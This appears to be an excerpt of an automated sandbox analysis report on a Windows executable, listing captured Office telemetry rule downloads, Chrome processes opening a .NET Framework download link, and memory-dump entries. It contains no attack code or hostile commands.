2024-12-03 16:42:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:09 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: cf1b24c6-801e-00a0-09d5-432196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164209Z-174f7845968n2hr8hC1EWR9cag00000015s000000000suq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:09 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:08 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:09 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 9546ee6f-d01e-0014-4f91-3fed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164209Z-174f7845968xr5c2hC1EWRd0hn0000000r50000000000r6t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:09 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:09 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:10 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:09 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 21a32f9a-a01e-003d-21b4-4298d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164209Z-174f7845968qj8jrhC1EWRh41s000000165000000000d9c8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:10 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:10 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:11 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:11 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 5e2e43e0-a01e-0002-3ba3-435074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164211Z-174f7845968cdxdrhC1EWRg0en000000166g000000007qnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:11 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:11 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:11 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:11 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: dbe9ef63-901e-005b-3a83-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164211Z-174f7845968kvnqxhC1EWRmf3g0000000t10000000009zex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:11 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:11 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:11 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:11 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: a3628a26-901e-0016-7afa-44efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164211Z-174f7845968xlwnmhC1EWR0sv8000000161000000000ctby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:11 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:11 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:11 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:11 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 4c44aa58-201e-005d-7b91-3fafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164211Z-174f7845968kdththC1EWRzvxn0000000kgg00000000hh70 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:11 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:11 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:12 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:12 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 2d33395e-b01e-0002-651f-411b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164212Z-174f7845968xlwnmhC1EWR0sv800000015z000000000nyhs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:12 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:13 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:13 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:13 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 559022fd-101e-005a-14ee-44882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164213Z-174f7845968cs2nkhC1EWR2tq000000001s000000000wbu5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:13 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:42:13 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:42:13 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:42:13 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e09bbfae-501e-00a0-6a93-439d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164213Z-174f7845968swgbqhC1EWRmnb4000000169g00000000n84d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:42:13 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Target ID:	0
Start time:	11:40:56
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x320000
File size:	1'865'728 bytes
MD5 hash:	15C208E661E876BE436F23A5AD2514F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:21:25
Start date:	03/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	13:21:26
Start date:	03/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=1884,i,14134926898300580287,14773111574658681454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	13:21:28
Start date:	03/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:21:28
Start date:	03/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1908,i,15999710773060116584,16859833196687087403,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	42.9%
Signature Coverage:	57.1%
Total number of Nodes:	7
Total number of Limit Nodes:	2

Executed Functions

Function 003571F0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(003400D4,?,00000014,000000FF,?,?,?,?), ref: 0035721E

Memory Dump Source

Source File: 00000000.00000002.1732416076.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1732261674.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732416076.000000000035D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732736657.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732824648.0000000000370000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732824648.00000000004F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732824648.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732824648.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732824648.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732824648.000000000061F000.00000040.00000001.01000000.00000003.sdmpDownload File
